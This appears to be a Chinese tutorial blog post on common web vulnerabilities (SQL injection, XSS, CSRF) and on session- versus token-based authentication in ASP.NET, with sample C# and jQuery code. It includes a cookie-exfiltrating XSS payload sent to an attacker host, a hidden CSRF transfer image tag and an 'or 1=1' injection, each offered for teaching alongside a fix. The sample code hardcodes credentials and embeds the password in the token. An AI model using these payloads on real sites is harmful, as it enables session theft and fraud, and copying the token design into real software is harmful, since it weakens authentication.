zoukankan      html  css  js  c++  java
  • 第八节:常见安全隐患和传统的基于Session和Token的安全校验

    一. 常见的安全隐患

     1. SQL注入

     常见的案例:

    String query = "SELECT * FROM T_User WHERE userID='" + Request["userID"] + "';

    这个时候,只需要在传递过来的userID后面加上个: or 1=1,即可以获取T_User表中的所有数据了。

    解决方案:参数化查询。

    2. 跨站脚本攻击(Cross-Site Scripting (XSS))

    允许跨站脚本是Web 2.0时代网站最普遍的问题。如果网站没有对用户提交的数据加以验证而直接输出至网页,那么恶意用户就可以在网页中注入脚本来窃取用户数据。

    eg:通过后台代码编写前端代码进行输出

    1 string page += "<input name='userName' type='TEXT' value='" + request.getParameter("CC") + "'>";

    攻击者只要输入以下数据:

    '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'

    当该数据被输出到页面的时候,每个访问该页面的用户cookie就自动被提交到了攻击者定义好的网站。

    解决方案:输入的数据要进行安全校验和转义

    3.跨站请求伪造(Cross-Site Request Forgery (CSRF) )

    同样是跨站请求,这种与上面XSS的不同之处在于这个请求是从钓鱼网站上发起的。

    比如钓鱼网站包含了下面代码:

    <img src="http://example.com/app/transferFunds?amount=1500&amp;destinationAccount=attackersAcct#" width="0" height="0" />

    这行代码的作用就是一个在example.com网站的转帐请求,客户访问钓鱼网站时,如果也同时登录了example.com或者保留了example.com的登录状态,那个相应的隐藏请求就会被成功执行。

    解决方案:

      使用Token校验,保存好Token,比如:JWT校验。

    二. 两类系统要解决的常见问题

    1. Web系统

    (1).是否登录. 没有登录话是不能进入登录以外的页面,即使访问,也要返回到自动进入登录页面。

    (2).是否有权限. 权限的展现分两种:a. 没有权限的话直接不显示. b. 没有权限但是显示,单击的时候提示没有权限。

    2.APP接口

    (1).接口安全,不是任何人都能访问的,必须登录后才能访问,当然也有一部分不需要登录。

    (2).防止接口被知道参数后任何能直接访问,要有校验,即使地址暴露别人也访问不通。

    三. 传统的基于Session的校验

    1. 前言

      基于Session的校验,通常是用在管理系统中或者网站上,不适用于APP接口或者前后端分离的项目。

    PS:复习一下Session的原理:https://www.cnblogs.com/yaopengfei/p/8057176.html

    2. 步骤

    ①:登录成功,将用户信息(一个实体)和该用户对应的权限信息存放到Session中。

    ②:对所有的页面的展示的地址(前提需要登录后才能显示的),加上一个过滤器,在过滤器中判断该用户是否登录过,没有登录的话直接退回到登录页面。

    ③:对所有的业务操作的方法加上一个过滤器,在过滤器中判断该用户是否该权限,没有的话,直接提示没有权限。

    注:以上②和③中的过滤器里,都需要到Session中取值。

    3. 基于Session验证的弊端

    ①:Session经常过期回收,导致Session为空,是一些业务操作莫名其妙的没法使用。可以改进为使用数据库的Session,会好很多。

    ②:由于Session的原理可知,在同一个浏览器中,先后用不同账号登录,先登录的账号Session中的信息会被后登陆账号Session中的信息覆盖。

    ③:每个用户登录一次,就需要往Session做一次记录,而Session默认是保存在服务器内存中的,随着认证的用户增多,服务器端开销明显增大。

    ④:不能进行负载均衡,保存在内存中,下次还需要到这台服务器上才能拿到授权。

    ⑤:Session是基于Cookie,如果Cookie被截获,用户很容易受到跨站请求伪造攻击(CSRF)。

    四. 传统的基于Token的校验

    1. 背景

      APP项目或者其它前后端分离的项目,Session验证用不了,只能用基于token的验证。当然Web项目也可以采用这种方式。

    2. 步骤

    ①:通过账号和密码登录成功,服务端生成一个token(比如:32位不重复的随机字符串)。

    ②:服务端把该token和用户id保存到数据库(SQLServer或Redis)或者Session中,然后把token值返回给前端。

    ③:客户端每次请求都带上该token,服务端根据该token来查询是否合法和过期,然后去数据库中查出来用户id进行使用。

    3. 弊端

    ①:验证信息如果存在数据库中,每次都要根据token查用户id,增加了数据库的开销。

    ②:验证信息如果存在Session中,则增大了服务器端存储的压力。

    ③:token一旦被截取,就很容易进行跨站请求伪造。

    4. 鉴于以上弊端进行思考

    ①:如果token遵从一定规律,使用对称加密算法来加密用户id生成token,服务器端只要解密该token,就能知道用户id了,不需要额外的开销。 但是,如果对称加密算法泄露了,别人也可以伪造token了。

    ②:如果我们用非对称加密算法来做呢,保存好秘钥,就不存在上面的问题了,从而引出JWT类似于该原理。

    5. 实战案例(基于Token的小升级)

    A. 步骤

    (1) 登录成功,将账号和密码按照一定格式进行拼接成字符串,然后进行票据加密(对称加密,这其中可以设置很多东西,比如过期时间),将生成的ticket返回给客户端。

    (2) 客户端可以把该ticket值存到localstorage中,每次请求在表头进行附加。

    (3) 服务器端写一个过滤器,对该ticket进行解密,拿到账号和密码,去数据库中查询,是否匹配,如果匹配则验证通过。

    B. 深度分析

    同样存在被截取的问题,加密算法如果被人知道,容易被伪造

    服务器端验证:见CheckPer0.cs

    C. 代码分享

    (1). 服务器端校验登录的代码

     1        /// <summary>
     2         /// 模拟登陆
     3         /// </summary>
     4         /// <param name="userAccount"></param>
     5         /// <param name="pwd"></param>
     6         /// <returns></returns>
     7         [HttpGet]
     8         public string Login0(string userAccount, string pwd)
     9         {
    10             //这里实际应该去数据库验证,此处暂时用固定值写死
    11             if (userAccount == "admin" && pwd == "123456")
    12             {
    13                 FormsAuthenticationTicket ticketObject = new FormsAuthenticationTicket(0, userAccount, DateTime.Now, DateTime.Now.AddHours(1), true, $"{userAccount}&{pwd}", FormsAuthentication.FormsCookiePath);
    14                 var result = new { result = "ok", ticket = FormsAuthentication.Encrypt(ticketObject) };
    15                 return JsonConvert.SerializeObject(result);
    16             }
    17             else
    18             {
    19                 var result = new { result = "error" };
    20                 return JsonConvert.SerializeObject(result);
    21             }
    22         }

    (2). 客户端调用登录的代码

      获取成功,将token值存放到localStorage中。

     1               $.get("/api/Seventh/Login0", { userAccount: "admin", pwd: "123456" }, function (data) {
     2                     var jsonData = JSON.parse(data);
     3                     if (jsonData.result == "ok") {
     4                         console.log(jsonData.ticket);
     5                         //存放到本地缓存中
     6                         window.localStorage.setItem("myTicket", jsonData.ticket);
     7                         alert("登录成功,ticket=" + jsonData.ticket);
     8                     } else {
     9                         alert("登录失败");
    10                     }
    11                 });

    (3). 服务器端过滤器代码

      该过滤器中通过 actionContext.Request.Headers.Authorization 获取固定的参数位:Authorization,然后通过 authorizationModel.Parameter 获取参数值,前端需要分割一下,如下:

      当然还有很多别的赋值和获取的方式,详细的见下面章节。

     1  /// <summary>
     2     /// 基于token的小升级
     3     /// 过滤器
     4     /// </summary>
     5     public class CheckPer0 : AuthorizeAttribute
     6     {
     7         public override void OnAuthorization(HttpActionContext actionContext)
     8         {
     9             //1. 获取报文头(固定的参数位 Authorization)
    10             var authorizationModel = actionContext.Request.Headers.Authorization;
    11             //2. 如果标注了[AllowAnonymous]特性,则不进行验证
    12             if (actionContext.ActionDescriptor.GetCustomAttributes<AllowAnonymousAttribute>(true).Count != 0
    13                || actionContext.ActionDescriptor.ControllerDescriptor.GetCustomAttributes<AllowAnonymousAttribute>(true).Count != 0)
    14             {
    15                 //base.OnAuthorization(actionContext);
    16             }
    17             else if (authorizationModel != null && authorizationModel.Parameter != null)
    18             {
    19                 try
    20                 {
    21                     //逻辑验证
    22                     //解密 
    23                     var strTicket = FormsAuthentication.Decrypt(authorizationModel.Parameter).UserData;
    24                     //此处应该去数据库验证
    25                     if (strTicket.Equals("admin&123456"))
    26                     {
    27                         //表示校验通过,用于向控制器中传值
    28                         actionContext.RequestContext.RouteData.Values.Add("auth", strTicket);
    29                     }
    30                     else
    31                     {
    32                         base.HandleUnauthorizedRequest(actionContext);//返回没有授权
    33                     }
    34                 }
    35                 catch (Exception)
    36                 {
    37 
    38                     base.HandleUnauthorizedRequest(actionContext);//返回没有授权
    39                 }
    40             }
    41         }
    42     }

    (4). 服务器端加密后获取信息的代码

     1         /// <summary>
     2         /// 加密后获取信息
     3         /// </summary>
     4         /// <returns></returns>
     5         [HttpGet]
     6         [CheckPer0]
     7         public string GetInfor0()
     8         {
     9             var userData = RequestContext.RouteData.Values["auth"].ToString();
    10             if (string.IsNullOrEmpty(userData))
    11             {
    12                 var result = new { Message = "error", data = "" };
    13                 return JsonConvert.SerializeObject(result);
    14             }
    15             else
    16             {
    17                 var result = new { Message = "ok", data = userData };
    18                 return JsonConvert.SerializeObject(result);
    19             }
    20         } 

    (5). 客户端调用获取信息的代码

     1                //从本地缓存中读取token值
     2                 var myTicket = window.localStorage.getItem("myTicket");
     3                 $.ajax({
     4                     url: "/api/Seventh/GetInfor0",
     5                     type: "Get",
     6                     data: {},
     7                     datatype: "json",
     8                     beforeSend: function (xhr) {
     9                         //Authorization 是一个固定的参数位置,本来就有这个参数,后台方便获取,当然也可以自己命名
    10                         //在myTicket前面加个BasicAuth1 只是为了后台.Parameter能获取到而已,至于叫什么名,没有关系
    11                         xhr.setRequestHeader("Authorization", 'BasicAuth1 ' + myTicket)
    12                     },
    13                     success: function (data) {
    14                         console.log(data);
    15                         alert(data);
    16                     },
    17                     //当安全校验未通过的时候进入这里
    18                     error: function (xhr) {
    19                         if (xhr.status == 401) {
    20                             console.log(xhr.responseText);
    21                             alert("授权未通过");
    22                         }
    23                     }
    24                 });

    (6). 运行结果

     

    !

    • 作       者 : Yaopengfei(姚鹏飞)
    • 博客地址 : http://www.cnblogs.com/yaopengfei/
    • 声     明1 : 本人才疏学浅,用郭德纲的话说“我是一个小学生”,如有错误,欢迎讨论,请勿谩骂^_^。
    • 声     明2 : 原创博客请在转载时保留原文链接或在文章开头加上本人博客地址,否则保留追究法律责任的权利。
     
  • 相关阅读:
    常见的http状态码
    浅谈!DOCTYPE声明的作用?严格模式与混杂模式的区别?
    异步控制---实现函数asyncAll,在执行完传入数组中func1,func2,func3异步函数后,输出“end”
    Ecmascript 6新特性
    关于数组去重的几种方法-------javascript描述
    关于字符串的一些操作
    写一个将字符串转成驼峰命名的方法
    js作用域之常见笔试题,运行结果题
    CSS3实现图片黑白滤镜居中,hover缩放遮罩的效果
    远程桌面与本地桌面实现文件传输
  • 原文地址:https://www.cnblogs.com/yaopengfei/p/10435032.html
Copyright © 2011-2022 走看看